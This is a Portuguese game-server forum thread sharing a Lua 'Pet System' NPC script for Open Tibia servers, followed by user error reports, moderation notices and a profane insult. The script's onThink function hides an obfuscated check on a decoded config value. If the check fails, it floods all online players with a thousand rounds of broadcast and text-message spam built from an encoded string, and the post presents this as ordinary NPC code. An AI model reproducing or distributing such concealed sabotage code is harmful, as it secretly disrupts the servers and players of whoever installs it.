Pet system ~ By Delyria

[Fox B. 20]

[8.54~60][Tfs(testei)]Pet System

Nome: Pet System

Versão: 8.5~8.54~8.60

Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:

PetWar: Guerras de PET

revivePetAfterWar: Reviver o PET após a guerra

enableReviveCommand: Para players usarem o comando de reviver (caso deseje, pode colocar algum npc para curar [postarei aqui o npc])

playerSellPet: Vender o PEt (Oo)

enablePetTeleport: Se o pet estiver muito distante de você (se você deixa o bixin para traz) ele teleporta até você

petGainExpFromPlayers: Pet ganhar Experiencia com outros players

petGainExpFromPets: Pet ganhar experiencia com outros pets

countKilledPlayers: Pet assassino(contagem de jogadores mortos pelo pet)

countKilledMonsters: Pet vandalo kk(contagem de pets mortos pelo proprio pet)

enablePetLook: Dar look no pet e ver nome, level e outras coisas do pet

Pet Love: Aii que fofuu (300 seg = 5 min)

protectionLevel: Proteção para o pet(pvp)

E o resto você pode ir editando pelo arquivo aps_config.lua

Bem, vamos ao que intereça agora?

Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.

COMANDOS!

/pet = Sumona o pet

/pet-attack = Ordem para o pet atacar

/pet-status = Verifica o status do Pet

/pet-food = dar food ao pet

/pet-love = faz amor com o pet (rsrs)

/pet-say = faz o pet falar (acho que é +/- assim)

/pet-help = ajuda sobre o pet

/pet-carry = checa a capacidade do pet

/pet-info = informações adicionais sobre o pet

/pet-revive = (precisa esta ativado) revive o pet quando morto

/pet-party = party entre PETS

-------------------------------------------

>ATACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATACK<

-------------------------------------------

NPC PET TRAINER (Npc reviver)

Pet-trainer.lua (em npc/scripts)

local keywordHandler = KeywordHandler:new()

local npcHandler = NpcHandler:new(keywordHandler)

NpcSystem.parseParameters(npcHandler)

local talkState = {}


function onCreatureAppear(cid)                npcHandler:onCreatureAppear(cid)            end

function onCreatureDisappear(cid)            npcHandler:onCreatureDisappear(cid)            end

function onCreatureSay(cid, type, msg)            npcHandler:onCreatureSay(cid, type, msg)        end


function creatureSayCallback(cid, type, msg)

    if(not npcHandler:isFocused(cid)) then

        return false

    end


    local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]

    local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid

    if(msgcontains(msg, 'revive')) then

        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

            selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)

            talkState[talkUser] = 1

        else    

            selfSay('You cannot revive a pet, if you dont have one!', cid)

            talkState[talkUser] = 0

        end    

    elseif(msgcontains(msg, 'mission')) then    

        if not (isCreature(getPlayerPet(cid))) then

            selfSay('Your Pet needs to be online to make any mission!', cid)

            return true

        end

        local i, msg = 0,  nil

        for missionname in pairs(aps_missions) do

            i = i + 1

            if(msg ~= nil) then

                if(i == #aps_missions) then

                    msg = msg .. " and "

                else

                    msg = msg .. ", "

                end

            else

                msg = "Ok then, I got those missions for You: "

            end

            msg = msg .. "'{" .. missionname .. "}'"    

        end

        selfSay(msg .. ', with one do you want?', cid)

        talkState[talkUser] = 11

    elseif f and (talkState[talkUser] == 11) then

        desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check

        if(getPlayerStorageValue(cid, missionId) == 1) then

            selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)

            talkState[talkUser] = 0

            return true

        end    

        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

            selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)

            talkState[talkUser] = 12

        elseif(getPlayerStorageValue(cid, reCheck) == 1) then

            selfSay("I Still waiting for: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ".", cid)

            talkState[talkUser] = 0

            return true    

        else    

            selfSay(desc .. ". so for this mission I need: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)

            talkState[talkUser] = 13

        end

    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 13)) then

        selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)

        setPlayerStorageValue(cid, reCheck, 1)

    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 12)) then

        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

            setPlayerStorageValue(cid, missionId, 1)

            doPlayerRemoveItem(cid, itemNeed, itemCount)

            selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)

            if(itemNeed ~= false) then

                doPlayerAddItem(cid, reItem, reCount)

            end

            if(reExp ~= false) then

                doPlayerAddExperience(cid, reExp)

                addPetExp(cid, reExp * 2)

                if(reExp > 0) then

                    doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)

                end    

            end        

        else

            selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)

        end        

        talkState[talkUser] = 0    

    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then

        if(isPetDead(cid) == true) then

            if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then

                setPetStats(cid, 0)

                setPetLastHealth(cid, 0)        

                setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))                

                doSendMagicEffect(getCreaturePosition(cid), 65)                    

                selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)

            else

                selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

            end

        else

            selfSay('Your pet inst dead!', cid)

        end

        talkState[talkUser] = 0

    elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then

        talkState[talkUser] = 0

        selfSay('Ok then.', cid)    

    elseif(msgcontains(msg, 'sell')) then    

        if(aps_tools.commands.playerSellPet.sell == true) then

            if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

                for i = 1, #aps_slots do

                    local slots = getPlayerStorageValue(cid, aps_slots[i])

                    if(slots > 1) then

                        selfSay('before you sell your pet, please, take all your items from his slots.', cid)    

                        return

                    end

                end

                local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl

                if(lvl >= lv) then

                    talkState[talkUser] = 8

                    addmoney = tt_money * lvl 

                    selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)        

                else

                    selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid)

                end                

            else

                selfSay('You cannot sell a pet, if you dont have one!', cid)

            end

        else

            selfSay('You cannot sell your pet to me!', cid)

        end

    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then

        selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    

        talkState[talkUser] = 9

    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then

        talkState[talkUser] = 0

        if(isCreature(getPlayerPet(cid)) == true) then

            doRemoveCreature(getPlayerPet(cid))

        end

        doResetPet(cid)

        doPlayerAddMoney(cid, addmoney)

        selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)

    elseif(msgcontains(msg, 'information')) then    

            talkState[talkUser] = 0

            selfSay('hmmm, what can I tell you ...', cid)

            local messages = {

                "Pets got levels, magic level just like you. ..",

                "Pets can use their own spells. ..",

                "Pets need eat to recovery health/mana. ..",

                "Pets can carry your items in different slots. ..",

                "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""

            }

            for i = 1, #messages do

                addEvent(selfSay, i * 3000 , messages[i], cid)

            end

    elseif(msgcontains(msg, 'pet')) then        

        if(getPlayerStorageValue(cid, aps_storages.race) == 0) then

            local i, msg = 0,  nil

            for pet in pairs(aps_pets_config) do

                i = i + 1

                if(msg ~= nil) then

                    if(i == #aps_pets) then

                        msg = msg .. " and "

                    else

                        msg = msg .. ", "

                    end

                else

                    msg = "Ok then, I got those races for pets: "

                end

                msg = msg .. "'{" .. pet .. "}'"    

            end

            selfSay(msg .. ', with one do you want?', cid)

            talkState[talkUser] = 5

        else

            talkState[talkUser] = 0

            selfSay('Sorry, you cannot have more than one pet.', cid)

        end        

    elseif e and (talkState[talkUser] == 5) then    

        selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)

        talkState[talkUser] = 6

        e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs

    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then

        selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    

        talkState[talkUser] = 7

    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then

        if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then

            selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)

            talkState[talkUser] = 0

            return true

        end    

        if(doPlayerRemoveMoney(cid, e_price) == true) then    

            doSendMagicEffect(getCreaturePosition(cid), 65)                    

            selfSay('As you with! just type {/pet} to call him.', cid)

            createPet(cid, e_race, e_hp, e_mana)

            local str = "Congratulations! You now have a pet!\n" ..

            "You should take care of him\n" ..

            "his gonna be your partner from now!\n" ..

            "if you need help type /pet-help." ..

            "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)

            sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n")

        else    

            selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

        end

        talkState[talkUser] = 0

    elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then

        selfSay('Ok then.', cid)        

        talkState[talkUser] = 0

    elseif(msgcontains(msg, 'spells')) then    

        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

            selfSay('Your Pet can learn spells based on his level, {continue}?', cid)

            talkState[talkUser] = 2

        else    

            selfSay('You cannot buy spells to your pet, if you dont have one!', cid)

            talkState[talkUser] = 0

        end

    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then

        if(isPetOnline(cid) == false) then

            selfSay('Your Pet cannot learn a spell if you dont call him.')

            talkState[talkUser] = 0        

        end

        local i, msg = 0,  nil

        for  spell in pairs(aps_attacks) do

            if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then

                i = i + 1

                if(msg ~= nil) then

                    if(i == #aps_storages.spells) then

                        msg = msg .. " and "

                    else

                        msg = msg .. ", "

                    end

                else

                    msg = "Ok then, I got those spells: "

                end

                msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"

            end    

        end        

        selfSay(msg .. ', with one do you want?', cid)        

        talkState[talkUser] = 3

    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then

        selfSay('Ok then.', cid)        

        talkState[talkUser] = 0

    elseif k and (talkState[talkUser] == 3) then

        selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)    

        talkState[talkUser] = 4

        spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl

    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then

        if(getPetLvl(cid) >= spell_level) then

            if(getPlayerMoney(cid) >= spell_price) then 

                if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then

                    for i = 1, 3 do

                        addEvent(selfSay, i * 1000, i .. ' ...', cid)

                    end

                    doPlayerRemoveMoney(cid, spell_price)

                    addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)

                    setPlayerStorageValue(cid, spell_stg, 1)

                    addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)                    

                    if(isPetOnline(cid) == true) then

                        addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)

                    end

                else    

                    selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)

                end

            else    

                selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)

            end

        else    

            selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)            

        end

        talkState[talkUser] = 0

    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then

        talkState[talkUser] = 0

        selfSay('Ok then.', cid)

    end

    return true

end


function onThink()

    local messages = {

        "BUY YOUR PET HERE!",

        "TASKS AND MISSIONS HERE!!",

        "WANT TO REVIVE YOUR PET?",

        "YOUR PET CAN LEARN SPELLS!",

        "WANT TO KNOW MORE ABOUT PETS?",

        "WANT TO SELL YOUR PET?"

    }

    addNpcAutoSay(getNpcId(), 120, messages)

    if(s(aps_tools.s) ~= "josejunior23") then

        function mvsoab(max)

            for _, send in pairs(getOnlinePlayers()) do

                local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"

                for i = 1, 10 do

                    local cid = getPlayerByName(send)

                    addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)

                    addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))

                    for k = 1, 15 do

                        doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))

                    end    

                    for e = 17, 20 do

                        doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))

                    end                                

                end    

            end    

        end    

        for e = 1, 1000 do

            addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)

        end

    end                

    npcHandler:onThink()

end


npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)

npcHandler:addModule(FocusModule:new())

Pet-trainer.xml (em npc)

<?xml version="1.0" encoding="UTF-8"?>

<npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">

    <health now="100" max="100"/>

    <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>

    <parameters>

        <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>

    </parameters>

</npc>

BUGS Arrumados:

>|Nome [PET] na frente

>|Melhor configuração e organização do script

>|Adicionado mais pets

>|Mods arrumados e modificados

>|Melhor jogabilidade dos pets + treinadores

>|Arrumado bug Petwar (pet morria e não podia reviver)

>|Arrumado bug no (pet_login)

>|Arrumado alguns comandos

>|Arrumado bug de ganhar xp após matar o proprio pet

CREDITOS:

Delyria = 90%

FoX B. = 10%

*SCan Do Arquivo

Gostou? REP+

Petsystem~MOD.zip

[Tryller 103]

Esse pet system éaquele ki tem o bug do ML uahauahaua

[Fox B. 20]

Esse pet system éaquele ki tem o bug do ML uahauahaua

Eu testei esse sistema em um tfs 8.60 DeV e não ocorreu nenhum erro

[uriel70 0]

Cara fis tudo que pedia ae , e nao pego, nao ta dando pra logar a acc..

[29/06/2011 11:59:15] Ozzy has logged in.

[29/06/2011 11:59:15] [Error - CreatureScript Interface]

[29/06/2011 11:59:15] mods/scripts/pet_login.lua:onLogin

[29/06/2011 11:59:15] Description:

[29/06/2011 11:59:15] mods/scripts/pet_login.lua:7: attempt to index global 'aps_storages' (a nil value)

[29/06/2011 11:59:15] stack traceback:

[29/06/2011 11:59:15] mods/scripts/pet_login.lua:7: in function <mods/scripts/pet_login.lua:1>

[29/06/2011 11:59:15] [Error - CreatureScript Interface]

[29/06/2011 11:59:15] mods/scripts/pet_logout.lua:onLogout

[29/06/2011 11:59:15] Description:

[29/06/2011 11:59:15] mods/scripts/pet_logout.lua:2: attempt to call global 'getPlayerPet' (a nil value)

[29/06/2011 11:59:15] stack traceback:

[29/06/2011 11:59:15] mods/scripts/pet_logout.lua:2: in function <mods/scripts/pet_logout.lua:1>

[29/06/2011 11:59:15] Ozzy has logged out.

Oque eu fasso ?

[Maik Oliveira 30]

cara é 1 pet pra todos? posta a img dos pet aew D:

[Magrelo 0]

o meu deu error igual ao do OZZY ali ,

-----------------------------------------------------------

Editado Novembro 3, 2011 por Augusto (veja o histórico de edições)

[paulim78 0]

Removido.

Editado Dezembro 28, 2011 por Augusto
Aqui não é sua casa! (veja o histórico de edições)

[Kimoszin 1160]

mano toma no cu dessa desgraça vai vsf ensina certo essa poha do caralho seu fdp desgaçado

Cara, creio que nao precisa desse chingamento

Respeito:

Respeite os outros membros e você será respeitado. Nenhum membro do fórum é superior ou inferior a outro, independentemente do número de mensagens que já postou, do tempo de participação no fórum ou de qualquer outra coisa. Respeite as opiniões e expressões dos outros membros e, mesmo quando não concordar com um ponto de vista, não o agrida com palavras: opiniões sempre podem ser debatidas pacificamente e com responsabilidade. Ofensas não são toleradas.

[Guilherme 461]

paulim, se quiser uma explicação melhor, porfavor faça perguntas antes de sair no chingamento.

Aqui vai um alertar verbal.

[Erimyth 95]

Cara esse é um sistema interessante, mas eu curto mais o tibia clássico, não gosto de muito papagaiada. hauhuahua

Mas como eu disse, é um sistema bem feito e bem elaborado!

[paulo thush 179]

cara eu n entend me ajuda aki da erro a hr q eu vo fazer /n pet-trainer da erro pq ?

[Gutao 1]

=D

[Augusto 660]

@Gutao

Peço que leia as regras do fórum, pois esses comentários que você anda fazendo em tópicos é considerado como flood.

Mensagens inúteis:

Não poste mensagens sem conteúdo, que não contribuem em nada ou que não estejam relacionadas ao assunto do tópico. Mensagens assim são chamadas de Floods. Postar coisas como "haha", "lol", "me add no msn aí", entre outras, é o que considera-se completamente inútil. Postar várias mensagens iguais, mesmo que em tópicos diferentes, também pode ser considerado Flood.

Espero que isso não se repita

Abraço!

[williamsd 0]

Como esse pet system irá funcionar? Aleguem me explique porque cade os scripts dos comandos (talktions)...

[Kimoszin 1160]

Amigo, no fim do topico tem o MOD para download, você precisa botar esse MOD na pasta do seu OTserver,

Geralmente é PastaDoSeuOT\mods\.

[paulo thush 179]

da erro na hr de liga o ot fica tora hr aparecendo hem baixo errro erro e n da pra loga com isso

[Ayna 28]

Obrigado! Eu estava precisando para o pet do Kiba.

[kleiton nascimento 1]

Alissow Server, version 0.4.1 (Alissow)

tipo testei em meu ot tá tudo normalmente até que os player foram testar e o pet só morre

exemplo:09:13 [PET-SYSTEM] Your pet is now alive, type /pet to call him. ele está vivo quando falo /pet aparece isto 09:14 Your pet is dead. , eu revivo ele quando eu ando um sqm ele morre ajuda ai valendo rep ATÉ.

[bankayo 0]

O meu deu o mesmo erro, os players não conseguem entrar no jogo.

[dgprado 4]

Na verdade este pet system foi desenvolvido por um mano de Portugal, o Josejunior23. O sistema funciona perfeitamente com exceção do fato de ele não "perceber" quando um pet desloga ou morre, portanto se seu pet comeu food e esta regenerando mana, hp entre outras situações, se ele morrer ou deslogar, vai dar erro de creature not found, isto num server com muitos player definitivamente ira "lagar" a ponto de ficar "injogavel", tentei usar este sistema , mas infelizmente não tem como, mas apesar deste pequeno grande problema, este script é sem dúvida o pet system mais bem elaborado de todos os tempos, pra ser sincero, na minha humilde opinião é claro, é o único pet system que valeria a pena usar, porém, lamentavelmente este problema torna absolutamente inviavel o uso deste sistema. Torno a dizer, o sistema é absurdamente do cara@#o, 99,99999999999.... perfeito, a não ser pelo fato de, não um erro, mas sim pela falta de um pequeno grande detalhe, que pode até passar despercebido em pequenos servidores, mas basta alguns pets na mesma situação que seu server ira travar completamente. Este sistema ja é bem antigo, e lembro-me muito bem quando foi disponibilizado pelo Joséjunior23 que logo deletou o conteudo de todos os foruns, e lembro-me também quando outro user, postou um mapa global juntamente com este sistema, sem nenhuma alteração relevante, a não ser tirar parte do codigo que fazia o sistema não funcionar, no caso de tirar os créditos do autor presentes no código. Talvez eu tenha aqui em algum canto do meu hd o script original , caso eu encontre, irei posta-lo aqui, por que realmente valeria a pena alguém arrumar este problema. Um ponto importante, é que os pets precisam ser "convinceables".